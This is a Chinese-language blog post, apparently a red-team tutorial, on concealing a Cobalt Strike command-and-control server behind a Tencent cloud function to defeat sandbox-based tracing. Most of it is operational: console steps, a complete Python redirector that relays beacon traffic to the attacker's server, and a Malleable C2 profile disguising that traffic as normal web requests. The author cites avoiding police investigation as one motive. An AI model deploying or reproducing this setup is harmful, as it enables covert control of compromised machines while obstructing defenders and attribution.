红队技能__基于云函数隐藏C2

一、前言

  首先讲一下什么是C2,C2 全称为Command and Control,命令与控制。放在汉语语义中,既是动词也是名词。C2还被广泛应用于僵尸网络,本文中所指的C2,只针对APT 场景。那么问题来了什么叫APT?

  APT:高级长期威胁(英语:Advanced Persistent Threat,缩写:APT),又称高级持续性威胁、先进持续性威胁等,是指隐匿而持久的电脑入侵过程,通常由某些人员精心策划,针对特定的目标。其通常是出于商业或政治动机,针对特定组织或国家,并要求在长时间内保持高隐蔽性。高级长期威胁包含三个要素:高级、长期、威胁。高级强调的是使用复杂精密的恶意软件及技术以利用系统中的漏洞。长期暗指某个外部力量会持续监控特定目标,并从其获取数据。威胁则指人为参与策划的攻击。也就是说针对一个目标进行长期的网络入侵行为,并且一边攻击一边隐藏自己的攻击行为。

  网络攻击是一种对抗行为,有攻击就会有防御。当我们捕获到攻击者的样本时,如何获得样本背后的C2服务端的IP地址?如果攻击者的C2没有使用任何防溯源的措施时,我们只需将样本放置沙箱运行起来,即可获得恶意样本背后的C2服务器IP地址那么针对此类手段,攻击者如何做到保护好自己的真实C2地址并且不被防守方发现?重点来了,本文记录了基于服务器厂商的云函数功能点实现隐藏攻击者的C2地址。

  提前讲一下,什么是CDN? CDN的基本原理是在用户访问相对集中的地区和网络设置一些缓存服务器。当用户访问网站时,利用全局的负载均衡技术将用户的访问指向距离最近的缓存服务器,由缓存服务器代替源站响应用户的访问请求。这样一方面减轻了源站服务器的工作压力,另一方面使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。也就是说我们的恶意程序向被攻击的服务器最近的一台网络缓存服务器发起回连请求,然后这个请求被缓存服务器处理。当缓存服务器没有请求中的数据时,则会向上逐级的去找数据。最终恶意程序成功回连到我们的C2服务器。

二、隐藏原理

  云函数,很多大的服务器厂商都能提供该业务功能点。国内的像某T讯云服务器、某A里云服务器等厂商都具备云函数的功能,目前看还没收费,不知道以后会不会变相收费.......核心原理就是利用服务器厂商提供的云函数(自带CDN功能),开启云函数之后,服务器厂商会给到2个公网URL(http://xxx:80、https://xxx:443)。

三、具体操作

  ①先打开某讯云的后台页面,搜索云函数,然后点控制台入口下面的云函数
  ②上面点进来之后页面如下,然后再次点击新建
  ③进来之后选择从头开始,设置几乎都是默认,Python版本建议选3.6的,然后点击完成
  ④点击留在本页之后,再点函数管理

  ⑤按下图所示配置index.py的代码,下图中“C2”那里需要把自己的监听地址和端口填上,云函数将映射到这个C2的监听地址上。注意Cobalt Strike设置监听时,只能是云函数域名加80或者443端口(http,80,https,443)。设置其他的监听地址端口不行,无法上线。

  index.py文件全部代码如下所示:
# -*- coding: utf8 -*- 
import json,requests,base64 
def main_handler(event, context): 
    response = {} 
    path = None 
    headers = None 
    try:
        C2='http://IP:PORT' 
        if 'path' in event.keys(): 
            path=event['path'] 
        if 'headers' in event.keys(): 
            headers=event['headers'] 
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : 
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else: 
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) 
            print(resp.headers)
            print(resp.content) 
        response={ 
            "isBase64Encoded": True, 
            "statusCode": resp.status_code, 
            "headers": dict(resp.headers), 
            "body": str(base64.b64encode(resp.content))[2:-1] 
        } 
    except Exception as e: 
        print(e) 
    finally: 
        return response

  ⑥设置好代码之后点击部署,再测试一下,看看测试结果

  ⑦部署完,并且测试成功之后,再点“触发管理”,进去再点一下“创建触发器”

  ⑧触发器的设置选择如下图所示,然后点提交
  ⑨提交成功之后还是原来的页面,点击下图的位置,进去修改路径


   ⑩搞完之后云函数具体域名信息在右边

  ⑪下面设置一个C2.profile文件,服务器启动时需要带入这个文件,GitHub上面有很多开源的这种文件。https://github.com/xx0hcd/Malleable-C2-Profiles
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
    set uri "/api/x";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
       }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
  成功上线,自己可以测试一下,把恶意程序放微步沙箱跑一下,看看是否会保留C2的服务器地址。

四、总结

 总的来讲,隐藏自己的C2服务器地址是有利于防溯源的。万一哪一天不小心被查水表了,就你慌不慌?或者是攻防比赛总自己的攻击ip暴露了,这就很尴尬。原文出处:https://www.cnblogs.com/PatrickStar88888888/articles/16908221.html 加个V一起学习吧~

 

posted @ 2022-11-20 16:05  PatrickStar88888888  阅读(223)  评论(0编辑  收藏  举报